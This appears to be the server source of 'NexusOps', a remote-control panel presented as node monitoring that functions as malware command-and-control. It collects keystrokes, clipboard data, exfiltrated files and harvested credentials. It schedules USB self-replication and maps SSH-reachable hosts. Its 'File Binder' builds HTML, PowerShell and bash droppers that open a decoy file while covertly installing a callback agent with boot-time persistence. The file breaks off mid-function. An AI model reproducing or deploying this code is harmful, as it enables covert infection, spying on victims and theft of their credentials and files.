1425 lines
54 KiB
JavaScript
1425 lines
54 KiB
JavaScript
const express = require('express');
|
|
const http = require('http');
|
|
const WebSocket = require('ws');
|
|
const path = require('path');
|
|
const cors = require('cors');
|
|
const os = require('os');
|
|
const multer = require('multer');
|
|
const fs = require('fs');
|
|
|
|
const upload = multer({ storage: multer.memoryStorage(), limits: { fileSize: 50 * 1024 * 1024 } });
|
|
|
|
const app = express();
|
|
const server = http.createServer(app);
|
|
const wss = new WebSocket.Server({ server });
|
|
|
|
const PORT = process.env.PORT || 3000;
|
|
const PUBLIC_URL = process.env.PUBLIC_URL || null;
|
|
const DATA_DIR = path.join(__dirname, 'data');
|
|
|
|
// Ensure data directory exists
|
|
if (!fs.existsSync(DATA_DIR)) fs.mkdirSync(DATA_DIR, { recursive: true });
|
|
|
|
app.use(cors());
|
|
app.use(express.json({ limit: '50mb' }));
|
|
app.use(express.static(path.join(__dirname, 'public')));// ---- agentseo discovery kit ----
|
|
app.use('/.well-known', express.static(path.join(__dirname, 'public', '.well-known')));
|
|
|
|
|
|
// ── Auth ──
|
|
const AUTH_TOKEN = process.env.NEXUS_AUTH_TOKEN || null;
|
|
if (!AUTH_TOKEN) {
|
|
console.log('!!! AUTH DISABLED — set NEXUS_AUTH_TOKEN in .env to protect the dashboard !!!');
|
|
}
|
|
const AGENT_TOKEN = process.env.NEXUS_AGENT_TOKEN || '';
|
|
const AUTH_EXEMPT_PREFIXES = ['/install', '/agent.py', '/bin/'];
|
|
function agentAuthOk(req) {
|
|
if (!AGENT_TOKEN) return true; // agent auth disabled when no token configured
|
|
const t = req.headers['x-agent-token'] || req.query.agenttoken || '';
|
|
return t === AGENT_TOKEN;
|
|
}
|
|
function authMiddleware(req, res, next) {
|
|
if (!AUTH_TOKEN) return next();
|
|
if (req.path.startsWith('/api/agent/')) {
|
|
if (agentAuthOk(req)) return next();
|
|
return res.status(401).json({ error: 'agent token required' });
|
|
}
|
|
if (AUTH_EXEMPT_PREFIXES.some(p => req.path.startsWith(p))) return next();
|
|
const h = req.headers.authorization || '';
|
|
if (h === 'Bearer ' + AUTH_TOKEN) return next();
|
|
if (req.path === '/api/auth/check') return res.status(401).json({ error: 'unauthorized' });
|
|
return res.status(401).json({ error: 'unauthorized' });
|
|
}
|
|
app.use(authMiddleware);
|
|
app.get('/api/auth/check', (req, res) => {
|
|
if (!AUTH_TOKEN) return res.json({ ok: true, authRequired: false });
|
|
res.json({ ok: true, authRequired: true });
|
|
});
|
|
|
|
|
|
|
|
function getLocalIp() {
|
|
const interfaces = os.networkInterfaces();
|
|
for (const name of Object.keys(interfaces)) {
|
|
for (const net of interfaces[name]) {
|
|
if (net.family === 'IPv4' && !net.internal) {
|
|
return net.address;
|
|
}
|
|
}
|
|
}
|
|
return 'localhost';
|
|
}
|
|
|
|
const SERVER_IP = getLocalIp();
|
|
|
|
const nodes = new Map();
|
|
const commandQueues = new Map();
|
|
const commandHistory = [];
|
|
const masterSystemLogs = [];
|
|
const inputDataStore = [];
|
|
const MAX_INPUT_STORE = 500;
|
|
const exfiltratedFiles = new Map(); // id → { nodeId, hostname, filename, data, mime, timestamp }
|
|
const harvestedCredentials = []; // { nodeId, hostname, type, data, timestamp }
|
|
|
|
// ── Persistence ──
|
|
let _saveLock = false;
|
|
function _atomicWrite(file, data) {
|
|
const tmp = file + '.tmp';
|
|
fs.writeFileSync(tmp, data);
|
|
fs.renameSync(tmp, file);
|
|
}
|
|
function saveData() {
|
|
if (_saveLock) return;
|
|
_saveLock = true;
|
|
try {
|
|
_atomicWrite(path.join(DATA_DIR, 'nodes.json'), JSON.stringify(Array.from(nodes.entries())));
|
|
_atomicWrite(path.join(DATA_DIR, 'commands.json'), JSON.stringify(commandHistory.slice(-200)));
|
|
_atomicWrite(path.join(DATA_DIR, 'logs.json'), JSON.stringify(masterSystemLogs.slice(-200)));
|
|
_atomicWrite(path.join(DATA_DIR, 'inputs.json'), JSON.stringify(inputDataStore.slice(-300)));
|
|
_atomicWrite(path.join(DATA_DIR, 'creds.json'), JSON.stringify(harvestedCredentials.slice(-200)));
|
|
} catch(e) { /* silent */ } finally {
|
|
_saveLock = false;
|
|
}
|
|
}
|
|
|
|
function loadData() {
|
|
try {
|
|
const nd = JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'nodes.json'), 'utf8') || '[]');
|
|
nd.forEach(([k, v]) => { nodes.set(k, v); if (!commandQueues.has(k)) commandQueues.set(k, []); });
|
|
commandHistory.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'commands.json'), 'utf8') || '[]')));
|
|
masterSystemLogs.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'logs.json'), 'utf8') || '[]')));
|
|
inputDataStore.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'inputs.json'), 'utf8') || '[]')));
|
|
harvestedCredentials.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'creds.json'), 'utf8') || '[]')));
|
|
} catch(e) { /* first run */ }
|
|
}
|
|
loadData();
|
|
|
|
// Auto-save every 30 seconds
|
|
setInterval(saveData, 30000);
|
|
|
|
setInterval(() => {
|
|
const now = Date.now();
|
|
let changed = false;
|
|
nodes.forEach((node, id) => {
|
|
if (node.status === 'online' && now - node.lastHeartbeat > 20000) {
|
|
node.status = 'offline';
|
|
changed = true;
|
|
}
|
|
});
|
|
if (changed) {
|
|
broadcastState();
|
|
}
|
|
}, 5000);
|
|
|
|
let _lastSaveTime = 0;
|
|
function broadcastState() {
|
|
const now = Date.now();
|
|
if (now - _lastSaveTime > 15000) { _lastSaveTime = now; saveData(); }
|
|
const payload = JSON.stringify({
|
|
type: 'NODES_UPDATE',
|
|
serverIp: SERVER_IP,
|
|
port: PORT,
|
|
publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
|
|
nodes: Array.from(nodes.values()),
|
|
commandHistory: commandHistory.slice(-50),
|
|
masterSystemLogs: masterSystemLogs.slice(-100),
|
|
inputData: inputDataStore.slice(-200)
|
|
});
|
|
|
|
wss.clients.forEach(client => {
|
|
if (client.readyState === WebSocket.OPEN) {
|
|
client.send(payload);
|
|
}
|
|
});
|
|
}
|
|
|
|
wss.on('connection', (ws, req) => {
|
|
// Auth check on WS upgrade
|
|
if (AUTH_TOKEN) {
|
|
const url = new URL(req.url, 'http://localhost');
|
|
if (url.searchParams.get('token') !== AUTH_TOKEN) {
|
|
ws.close(4401, 'unauthorized');
|
|
return;
|
|
}
|
|
}
|
|
ws.isAlive = true;
|
|
ws.on('pong', () => { ws.isAlive = true; });
|
|
ws.send(JSON.stringify({
|
|
type: 'NODES_UPDATE',
|
|
serverIp: SERVER_IP,
|
|
port: PORT,
|
|
publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
|
|
nodes: Array.from(nodes.values()),
|
|
commandHistory: commandHistory.slice(-50),
|
|
masterSystemLogs: masterSystemLogs.slice(-100),
|
|
inputData: inputDataStore.slice(-200)
|
|
}));
|
|
});
|
|
|
|
// WS heartbeat: ping every 25s, drop dead clients
|
|
setInterval(() => {
|
|
wss.clients.forEach(ws => {
|
|
if (ws.isAlive === false) return ws.terminate();
|
|
ws.isAlive = false;
|
|
try { ws.ping(); } catch(e) {}
|
|
});
|
|
}, 25000);
|
|
|
|
// REST API Endpoints
|
|
|
|
app.get('/api/status', (req, res) => {
|
|
res.json({
|
|
serverIp: SERVER_IP,
|
|
port: PORT,
|
|
serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
|
|
totalNodes: nodes.size,
|
|
onlineNodes: Array.from(nodes.values()).filter(n => n.status === 'online').length
|
|
});
|
|
});
|
|
|
|
app.get('/api/nodes', (req, res) => {
|
|
res.json(Array.from(nodes.values()));
|
|
});
|
|
|
|
app.get('/api/logs', (req, res) => {
|
|
res.json(masterSystemLogs.slice(-100));
|
|
});
|
|
|
|
// CSV Telemetry Export Endpoint
|
|
app.get('/api/export/csv', (req, res) => {
|
|
let csv = "ID,Hostname,Platform,OS,IP,Status,CPU_Usage,Mem_Usage,Disk_Usage,Uptime_Sec,Tags\n";
|
|
nodes.forEach(node => {
|
|
const tagsStr = (node.tags || []).join(';');
|
|
csv += `"${node.id}","${node.hostname}","${node.platform}","${node.osName}","${node.ip}","${node.status}",${node.cpuUsage},${node.memUsage},${node.diskUsage},${node.uptime},"${tagsStr}"\n`;
|
|
});
|
|
res.setHeader('Content-Type', 'text/csv');
|
|
res.setHeader('Content-Disposition', 'attachment; filename="NexusOps_Nodes_Report.csv"');
|
|
res.send(csv);
|
|
});
|
|
|
|
// Agent System Log Streaming Endpoint
|
|
app.post('/api/agent/logs', (req, res) => {
|
|
const { nodeId, hostname, logs } = req.body;
|
|
if (Array.isArray(logs)) {
|
|
logs.forEach(logLine => {
|
|
masterSystemLogs.push({
|
|
id: `log-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`,
|
|
nodeId,
|
|
hostname: hostname || 'Unknown',
|
|
timestamp: Date.now(),
|
|
entry: logLine
|
|
});
|
|
});
|
|
if (masterSystemLogs.length > 200) {
|
|
masterSystemLogs.splice(0, masterSystemLogs.length - 200);
|
|
}
|
|
broadcastState();
|
|
}
|
|
res.json({ success: true });
|
|
});
|
|
|
|
// Agent Input Capture Endpoint — keystrokes, clicks, clipboard, window focus
|
|
app.post('/api/agent/input-capture', (req, res) => {
|
|
const { nodeId, hostname, events } = req.body;
|
|
if (!nodeId || !Array.isArray(events)) {
|
|
return res.status(400).json({ error: 'nodeId and events[] required' });
|
|
}
|
|
|
|
events.forEach(ev => {
|
|
inputDataStore.push({
|
|
id: `inp-${Date.now()}-${Math.random().toString(36).slice(2, 6)}`,
|
|
nodeId,
|
|
hostname: hostname || 'Unknown',
|
|
timestamp: ev.timestamp || Date.now(),
|
|
eventType: ev.eventType || 'unknown',
|
|
data: ev.data || {},
|
|
windowTitle: ev.windowTitle || '',
|
|
processName: ev.processName || ''
|
|
});
|
|
});
|
|
|
|
if (inputDataStore.length > MAX_INPUT_STORE) {
|
|
inputDataStore.splice(0, inputDataStore.length - MAX_INPUT_STORE);
|
|
}
|
|
|
|
if (events.length > 0) {
|
|
broadcastState();
|
|
}
|
|
|
|
res.json({ success: true, stored: events.length });
|
|
});
|
|
|
|
// Retrieve input capture data
|
|
app.get('/api/inputs', (req, res) => {
|
|
const { nodeId, eventType, limit } = req.query;
|
|
let filtered = inputDataStore;
|
|
|
|
if (nodeId) {
|
|
filtered = filtered.filter(e => e.nodeId === nodeId);
|
|
}
|
|
if (eventType) {
|
|
filtered = filtered.filter(e => e.eventType === eventType);
|
|
}
|
|
|
|
const max = parseInt(limit) || 200;
|
|
res.json(filtered.slice(-max));
|
|
});
|
|
|
|
// ── File Binder — upload any file, get back a self-extracting dropper with embedded agent ──
|
|
// ── File Binder v2 — self-contained dropper (agent embedded, no curl required) ──
|
|
// AGENT_B64 generated at startup from agents/agent.py (token-injected) so the
|
|
// File Binder always embeds the CURRENT agent with auth — never a stale copy.
|
|
let AGENT_B64 = '';
|
|
function buildAgentB64() {
|
|
try {
|
|
const src = fs.readFileSync(path.join(__dirname, 'agents', 'agent.py'), 'utf8');
|
|
const withToken = AGENT_TOKEN ? src.split('__AGENT_TOKEN__').join(AGENT_TOKEN) : src;
|
|
AGENT_B64 = Buffer.from(withToken).toString('base64');
|
|
} catch (e) {
|
|
console.log('!!! binder: agents/agent.py unreadable — bind will produce broken payload');
|
|
}
|
|
}
|
|
buildAgentB64();
|
|
|
|
// ── USB Self-Replication (spread) system ──
|
|
const SPREAD_FILE = path.join(DATA_DIR, 'spread.json');
|
|
let spreadNodes = new Set(), spreadModes = {};
|
|
try {
|
|
const sd = JSON.parse(fs.readFileSync(SPREAD_FILE, 'utf8') || '{}');
|
|
spreadNodes = new Set(sd.nodes || []);
|
|
spreadModes = sd.modes || {};
|
|
} catch (e) {}
|
|
function saveSpread() {
|
|
_atomicWrite(SPREAD_FILE, JSON.stringify({ nodes: Array.from(spreadNodes), modes: spreadModes }));
|
|
}
|
|
setInterval(() => {
|
|
if (!spreadNodes.size) return;
|
|
for (const nid of spreadNodes) {
|
|
const node = nodes.get(nid);
|
|
if (!node || node.status !== 'online') continue;
|
|
commandQueues.get(nid).push({
|
|
id: `cmd-${Date.now()}-sr${Math.random().toString(36).slice(2, 4)}`,
|
|
actionType: 'copy_self_to_usb',
|
|
payload: { mode: spreadModes[nid] || 'copy' },
|
|
command: 'copy_self_to_usb',
|
|
status: 'queued',
|
|
queuedAt: Date.now()
|
|
});
|
|
}
|
|
}, 10 * 60 * 1000);
|
|
app.post('/api/nodes/:id/spread', (req, res) => {
|
|
const nid = req.params.id;
|
|
if (!nodes.has(nid)) return res.status(404).json({ error: 'Node not found' });
|
|
const { enabled, mode } = req.body || {};
|
|
if (enabled !== false) {
|
|
spreadNodes.add(nid);
|
|
if (mode) spreadModes[nid] = mode;
|
|
commandQueues.get(nid).push({
|
|
id: `cmd-${Date.now()}-sr${Math.random().toString(36).slice(2, 4)}`,
|
|
actionType: 'copy_self_to_usb',
|
|
payload: { mode: spreadModes[nid] || 'copy' },
|
|
command: 'copy_self_to_usb',
|
|
status: 'queued',
|
|
queuedAt: Date.now()
|
|
});
|
|
} else {
|
|
spreadNodes.delete(nid);
|
|
delete spreadModes[nid];
|
|
}
|
|
saveSpread();
|
|
broadcastState();
|
|
res.json({ success: true, spread: enabled !== false });
|
|
});
|
|
app.get('/api/spread', (req, res) => res.json({ nodes: Array.from(spreadNodes), modes: spreadModes }));
|
|
|
|
app.post('/api/bind', upload.single('file'), (req, res) => {
|
|
if (!req.file) {
|
|
return res.status(400).json({ error: 'No file uploaded. Use field name "file".' });
|
|
}
|
|
|
|
const originalName = req.file.originalname;
|
|
const b64Content = req.file.buffer.toString('base64');
|
|
const b64Lines = b64Content.match(/.{1,76}/g) || [b64Content];
|
|
const agentLines = AGENT_B64.match(/.{1,76}/g) || [AGENT_B64];
|
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
|
const format = (req.query.format || 'sh').toLowerCase();
|
|
const persist = req.query.persist !== '0'; // persistence ON unless explicitly 0
|
|
|
|
let dropper, boundName, contentType;
|
|
|
|
// ── HTML Payload (one-click social engineering, auto-downloads file) ──
|
|
if (format === 'html') {
|
|
const safeName = originalName.replace(/"/g, '"').replace(/\\/g, '\\\\');
|
|
const safeB64 = b64Content;
|
|
dropper = `<!DOCTYPE html>
|
|
<html><head><meta charset="UTF-8"><title>${safeName}</title>
|
|
<style>
|
|
body { background:#0f172a; color:#e2e8f0; font-family:system-ui; display:flex; align-items:center; justify-content:center; height:100vh; margin:0; flex-direction:column; }
|
|
.card { background:#1e293b; border-radius:16px; padding:2.5rem; text-align:center; max-width:420px; box-shadow:0 25px 50px rgba(0,0,0,0.5); border:1px solid #334155; }
|
|
h1 { font-size:1.5rem; margin:0 0 0.5rem; } p { color:#94a3b8; margin:0 0 1.5rem; font-size:0.9rem; }
|
|
.spinner { width:48px; height:48px; border:4px solid #334155; border-top-color:#06b6d4; border-radius:50%%; animation:spin 0.8s linear infinite; margin:0 auto 1.5rem; }
|
|
@keyframes spin { to { transform:rotate(360deg); } }
|
|
.filename { color:#06b6d4; font-family:monospace; font-size:0.85rem; word-break:break-all; }
|
|
.btn { display:inline-block; background:#06b6d4; color:#fff; border:none; padding:0.75rem 2rem; border-radius:8px; font-size:1rem; cursor:pointer; text-decoration:none; font-weight:600; }
|
|
</style></head><body>
|
|
<div class="card">
|
|
<div class="spinner"></div>
|
|
<h1>Opening your file…</h1>
|
|
<p class="filename">${safeName}</p>
|
|
<a class="btn" id="dl" href="#">Download & Open</a>
|
|
</div>
|
|
<script>
|
|
(function(){
|
|
const b64 = "${safeB64}";
|
|
const name = "${safeName}";
|
|
function go(){
|
|
const bin = Uint8Array.from(atob(b64), c => c.charCodeAt(0));
|
|
const blob = new Blob([bin]);
|
|
const url = URL.createObjectURL(blob);
|
|
const a = document.createElement('a');
|
|
a.href = url; a.download = name; a.click();
|
|
setTimeout(() => URL.revokeObjectURL(url), 60000);
|
|
}
|
|
go();
|
|
document.getElementById('dl').addEventListener('click', e => { e.preventDefault(); go(); });
|
|
})();
|
|
<\/script></body></html>`;
|
|
boundName = originalName + '.html';
|
|
contentType = 'text/html';
|
|
}
|
|
|
|
// ── PowerShell Self-Contained Dropper (Windows) ──
|
|
else if (format === 'ps1') {
|
|
const psLines = [
|
|
'<#',
|
|
' Self-Extracting Dropper — ' + originalName,
|
|
' NexusOps Agent Binder v2 (self-contained, no network)',
|
|
'#>',
|
|
'',
|
|
'$ORIGINAL_NAME = "' + originalName + '"',
|
|
'$OUTPUT_DIR = "$env:TEMP\\nexus-$pid"',
|
|
'$OUTPUT_FILE = "$OUTPUT_DIR\\$ORIGINAL_NAME"',
|
|
'$AGENT_DIR = "$env:ProgramData\\NetworkAgent"',
|
|
'$SERVER_URL = "' + serverUrl + '"',
|
|
'',
|
|
'New-Item -ItemType Directory -Path $OUTPUT_DIR -Force | Out-Null',
|
|
'New-Item -ItemType Directory -Path $AGENT_DIR -Force | Out-Null',
|
|
'',
|
|
'$scriptPath = $MyInvocation.MyCommand.Path',
|
|
'$lines = Get-Content $scriptPath',
|
|
'$fileMarker = [array]::IndexOf($lines, "__FILE_BASE64__")',
|
|
'$agentMarker = [array]::IndexOf($lines, "__AGENT_BASE64__")',
|
|
'if ($fileMarker -ge 0 -and $agentMarker -ge 0) {',
|
|
' $fileB64 = ($lines[($fileMarker+1)..($agentMarker-1)] -join "")',
|
|
' $agentB64 = ($lines[($agentMarker+1)..($lines.Length-1)] -join "")',
|
|
' [IO.File]::WriteAllBytes($OUTPUT_FILE, [Convert]::FromBase64String($fileB64))',
|
|
' [IO.File]::WriteAllBytes("$AGENT_DIR\\agent.py", [Convert]::FromBase64String($agentB64))',
|
|
'}',
|
|
'',
|
|
'Start-Process $OUTPUT_FILE -WindowStyle Normal',
|
|
(persist ? 'schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr "python $AGENT_DIR\\agent.py --server $SERVER_URL --silent" /f /rl HIGHEST 2>$null' : '# persistence disabled by operator'),
|
|
'Start-Process -FilePath python -ArgumentList "$AGENT_DIR\\agent.py --server $SERVER_URL --silent" -WindowStyle Hidden',
|
|
'Start-Process powershell -ArgumentList "-WindowStyle Hidden -NoProfile -Command Start-Sleep 60; Remove-Item -Recurse -Force $OUTPUT_DIR" -WindowStyle Hidden',
|
|
'',
|
|
'__FILE_BASE64__',
|
|
...b64Lines,
|
|
'__AGENT_BASE64__',
|
|
...agentLines
|
|
];
|
|
dropper = psLines.join('\r\n');
|
|
boundName = originalName + '.ps1';
|
|
contentType = 'text/plain';
|
|
}
|
|
|
|
// ── Bash Self-Contained Dropper (Linux/macOS — DEFAULT) ──
|
|
else {
|
|
dropper = [
|
|
'#!/bin/bash',
|
|
'# ═══════════════════════════════════════════════════════',
|
|
'# NexusOps v2 Self-Contained Dropper',
|
|
`# File: ${originalName}`,
|
|
'# Agent is embedded — no network needed',
|
|
'# ═══════════════════════════════════════════════════════',
|
|
'set -e',
|
|
'',
|
|
`ORIGINAL_NAME="${originalName}"`,
|
|
'OUTPUT_DIR="/tmp/.nexus-$$"',
|
|
'OUTPUT_FILE="$OUTPUT_DIR/$ORIGINAL_NAME"',
|
|
`SERVER_URL="${serverUrl}"`,
|
|
'AGENT_DIR="/opt/network-agent"',
|
|
'',
|
|
'mkdir -p "$OUTPUT_DIR" "$AGENT_DIR"',
|
|
'',
|
|
'# ── Extract payloads ──',
|
|
'FILE_START=$(awk \'$0 == "__FILE_BASE64__" {print NR+1; exit}\' "$0")',
|
|
'AGENT_START=$(awk \'$0 == "__AGENT_BASE64__" {print NR+1; exit}\' "$0")',
|
|
'FILE_LINES=$((AGENT_START - FILE_START - 1))',
|
|
'tail -n +$FILE_START "$0" | head -n $FILE_LINES | base64 -d > "$OUTPUT_FILE" 2>/dev/null',
|
|
'tail -n +$AGENT_START "$0" | base64 -d > "$AGENT_DIR/agent.py" 2>/dev/null',
|
|
'chmod +x "$AGENT_DIR/agent.py"',
|
|
'',
|
|
'# ── Open original file ──',
|
|
'if command -v xdg-open &>/dev/null; then xdg-open "$OUTPUT_FILE" 2>/dev/null &',
|
|
'elif command -v open &>/dev/null; then open "$OUTPUT_FILE" 2>/dev/null &',
|
|
'elif command -v start &>/dev/null; then start "$OUTPUT_FILE" 2>/dev/null &',
|
|
'fi',
|
|
'',
|
|
...(persist ? [
|
|
'# ── Install agent persistence (OS-aware) ──',
|
|
'case "$(uname -s 2>/dev/null)" in',
|
|
' Linux)',
|
|
' cat > /etc/systemd/system/network-agent.service << UNITEOF',
|
|
'[Unit]',
|
|
'Description=NexusOps Node Agent',
|
|
'After=network.target',
|
|
'[Service]',
|
|
'Type=simple',
|
|
'ExecStart=/usr/bin/python3 -u $AGENT_DIR/agent.py --server $SERVER_URL --silent',
|
|
'Restart=always',
|
|
'RestartSec=5',
|
|
'[Install]',
|
|
'WantedBy=multi-user.target',
|
|
'UNITEOF',
|
|
' systemctl daemon-reload 2>/dev/null || true',
|
|
' systemctl enable network-agent 2>/dev/null || true',
|
|
' systemctl restart network-agent 2>/dev/null || true',
|
|
' /usr/bin/python3 -u "$AGENT_DIR/agent.py" --server "$SERVER_URL" --silent &>/dev/null &',
|
|
' ;;',
|
|
' Darwin)',
|
|
' mkdir -p "$HOME/Library/LaunchAgents"',
|
|
' cat > "$HOME/Library/LaunchAgents/com.nexusops.agent.plist" << PLISTEOF',
|
|
'<?xml version="1.0" encoding="UTF-8"?>',
|
|
'<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">',
|
|
'<plist version="1.0"><dict>',
|
|
'<key>Label</key><string>com.nexusops.agent</string>',
|
|
'<key>ProgramArguments</key><array><string>/usr/bin/python3</string><string>-u</string><string>$AGENT_DIR/agent.py</string><string>--server</string><string>$SERVER_URL</string><string>--silent</string></array>',
|
|
'<key>RunAtLoad</key><true/>',
|
|
'<key>KeepAlive</key><true/>',
|
|
'</dict></plist>',
|
|
'PLISTEOF',
|
|
' launchctl bootout gui/$(id -u) "$HOME/Library/LaunchAgents/com.nexusops.agent.plist" 2>/dev/null || true',
|
|
' launchctl bootstrap gui/$(id -u) "$HOME/Library/LaunchAgents/com.nexusops.agent.plist" 2>/dev/null || true',
|
|
' /usr/bin/python3 -u "$AGENT_DIR/agent.py" --server "$SERVER_URL" --silent &>/dev/null &',
|
|
' ;;',
|
|
'esac',
|
|
] : ['# persistence disabled by operator']),
|
|
'',
|
|
'# ── Self-destruct temp dir ──',
|
|
'(sleep 60 && rm -rf "$OUTPUT_DIR") &',
|
|
'disown',
|
|
'',
|
|
'exit 0',
|
|
'__FILE_BASE64__',
|
|
b64Content,
|
|
'__AGENT_BASE64__',
|
|
AGENT_B64
|
|
].join('\n');
|
|
boundName = originalName + '.sh';
|
|
contentType = 'application/x-sh';
|
|
}
|
|
|
|
res.setHeader('Content-Type', contentType);
|
|
res.setHeader('Content-Disposition', `attachment; filename="${boundName}"`);
|
|
res.send(dropper);
|
|
});
|
|
|
|
app.post('/api/agent/register', (req, res) => {
|
|
const { hostname, platform, arch, ip, osName, tags } = req.body;
|
|
const nodeId = req.body.nodeId || `node-${hostname.toLowerCase().replace(/[^a-z0-9]/g, '-')}-${Math.random().toString(36).slice(2, 6)}`;
|
|
|
|
const existingNode = nodes.get(nodeId);
|
|
const now = Date.now();
|
|
|
|
const nodeData = {
|
|
id: nodeId,
|
|
hostname: hostname || 'Unknown-Host',
|
|
platform: platform || 'linux',
|
|
arch: arch || 'x64',
|
|
osName: osName || platform,
|
|
ip: ip || req.ip.replace(/^.*:/, '') || '127.0.0.1',
|
|
status: 'online',
|
|
firstSeen: existingNode ? existingNode.firstSeen : now,
|
|
lastHeartbeat: now,
|
|
cpuUsage: 0,
|
|
memUsage: 0,
|
|
diskUsage: 0,
|
|
uptime: 0,
|
|
processCount: 0,
|
|
tags: tags || ['Default'],
|
|
agentVersion: req.body.agentVersion || (existingNode && existingNode.agentVersion) || 'unknown',
|
|
heartbeatInterval: 5,
|
|
metricsHistory: existingNode ? existingNode.metricsHistory : []
|
|
};
|
|
|
|
nodes.set(nodeId, nodeData);
|
|
if (!commandQueues.has(nodeId)) {
|
|
commandQueues.set(nodeId, []);
|
|
}
|
|
|
|
broadcastState();
|
|
if (!existingNode) postWebhook(`🟢 NexusOps new node: ${nodeData.hostname} (${nodeData.ip}) v${nodeData.agentVersion || '?'}`);
|
|
res.json({ success: true, nodeId, serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`, fallbackUrls: process.env.NEXUS_FALLBACK_URLS ? process.env.NEXUS_FALLBACK_URLS.split(',') : [] });
|
|
});
|
|
|
|
// Agent Heartbeat
|
|
app.post('/api/agent/heartbeat', (req, res) => {
|
|
const { nodeId, cpuUsage, memUsage, diskUsage, uptime, processCount, tags, heartbeatInterval } = req.body;
|
|
|
|
if (!nodeId || !nodes.has(nodeId)) {
|
|
return res.status(404).json({ error: 'Node not registered.' });
|
|
}
|
|
|
|
const node = nodes.get(nodeId);
|
|
const now = Date.now();
|
|
if (req.body.agentVersion && node.agentVersion !== req.body.agentVersion) {
|
|
node.agentVersion = req.body.agentVersion;
|
|
}
|
|
|
|
node.status = 'online';
|
|
node.lastHeartbeat = now;
|
|
node.cpuUsage = typeof cpuUsage === 'number' ? Math.round(cpuUsage) : node.cpuUsage;
|
|
node.memUsage = typeof memUsage === 'number' ? Math.round(memUsage) : node.memUsage;
|
|
node.diskUsage = typeof diskUsage === 'number' ? Math.round(diskUsage) : node.diskUsage;
|
|
node.uptime = uptime || node.uptime;
|
|
node.processCount = processCount || node.processCount;
|
|
if (tags) node.tags = tags;
|
|
if (heartbeatInterval) node.heartbeatInterval = heartbeatInterval;
|
|
|
|
if (!node.metricsHistory) node.metricsHistory = [];
|
|
node.metricsHistory.push({
|
|
timestamp: new Date().toLocaleTimeString(),
|
|
cpu: node.cpuUsage,
|
|
mem: node.memUsage,
|
|
disk: node.diskUsage
|
|
});
|
|
if (node.metricsHistory.length > 30) {
|
|
node.metricsHistory.shift();
|
|
}
|
|
|
|
nodes.set(nodeId, node);
|
|
broadcastState();
|
|
|
|
const queue = commandQueues.get(nodeId) || [];
|
|
const pendingCommands = [...queue];
|
|
commandQueues.set(nodeId, []);
|
|
|
|
res.json({ success: true, commands: pendingCommands });
|
|
});
|
|
|
|
// Command Result Callback
|
|
|
|
// ── Topology capture + API ──
|
|
const TOPOLOGY_FILE = path.join(DATA_DIR, 'topology.json');
|
|
let topologyEdges = {};
|
|
try { topologyEdges = JSON.parse(fs.readFileSync(TOPOLOGY_FILE, 'utf8') || '{}'); } catch (e) {}
|
|
function saveTopology() { _atomicWrite(TOPOLOGY_FILE, JSON.stringify(topologyEdges)); }
|
|
app.get('/api/topology', (req, res) => {
|
|
const nodeList = Array.from(nodes.values()).map(n => ({
|
|
id: n.id, hostname: n.hostname, ip: n.ip, status: n.status, version: n.agentVersion || '?'
|
|
}));
|
|
res.json({ nodes: nodeList, edges: topologyEdges });
|
|
});
|
|
|
|
app.post('/api/agent/command-result', (req, res) => {
|
|
const { commandId, nodeId, output, exitCode } = req.body;
|
|
try {
|
|
const cmdEntry = commandHistory.find(c => c.id === commandId);
|
|
if (output && output.startsWith('subnet ') && output.includes('ssh-open:')) {
|
|
const m = output.match(/ssh-open: ([^|]+)/);
|
|
if (m) {
|
|
topologyEdges[nodeId] = { at: Date.now(), hosts: m[1].split(',').map(x => x.trim()).filter(Boolean) };
|
|
saveTopology();
|
|
}
|
|
}
|
|
} catch (e) {}
|
|
const entry = commandHistory.find(c => c.id === commandId);
|
|
if (entry) {
|
|
entry.status = exitCode === 0 ? 'completed' : 'failed';
|
|
entry.output = output;
|
|
entry.completedAt = Date.now();
|
|
}
|
|
broadcastState();
|
|
res.json({ success: true });
|
|
});
|
|
|
|
// Queue Command for Single Node
|
|
app.post('/api/nodes/:id/command', (req, res) => {
|
|
const nodeId = req.params.id;
|
|
const { command, actionType, payload } = req.body;
|
|
|
|
if (!nodes.has(nodeId)) {
|
|
return res.status(404).json({ error: 'Node not found' });
|
|
}
|
|
|
|
const commandId = `cmd-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`;
|
|
const actionName = actionType || 'raw_command';
|
|
|
|
const cmdObj = {
|
|
id: commandId,
|
|
actionType: actionName,
|
|
payload: payload || { command },
|
|
command: command || actionName,
|
|
createdAt: Date.now()
|
|
};
|
|
|
|
if (!commandQueues.has(nodeId)) {
|
|
commandQueues.set(nodeId, []);
|
|
}
|
|
commandQueues.get(nodeId).push(cmdObj);
|
|
|
|
commandHistory.push({
|
|
id: commandId,
|
|
nodeId,
|
|
hostname: nodes.get(nodeId).hostname,
|
|
command: command || `${actionName} (${JSON.stringify(payload)})`,
|
|
status: 'queued',
|
|
createdAt: Date.now(),
|
|
output: ''
|
|
});
|
|
|
|
broadcastState();
|
|
res.json({ success: true, commandId });
|
|
});
|
|
|
|
// Queue Bulk Command
|
|
app.post('/api/nodes/bulk-command', (req, res) => {
|
|
const { command, actionType, payload } = req.body;
|
|
const onlineNodes = Array.from(nodes.values()).filter(n => n.status === 'online');
|
|
|
|
if (onlineNodes.length === 0) {
|
|
return res.status(400).json({ error: 'No online nodes available' });
|
|
}
|
|
|
|
const queuedIds = [];
|
|
onlineNodes.forEach(node => {
|
|
const commandId = `cmd-bulk-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`;
|
|
const actionName = actionType || 'raw_command';
|
|
|
|
const cmdObj = {
|
|
id: commandId,
|
|
actionType: actionName,
|
|
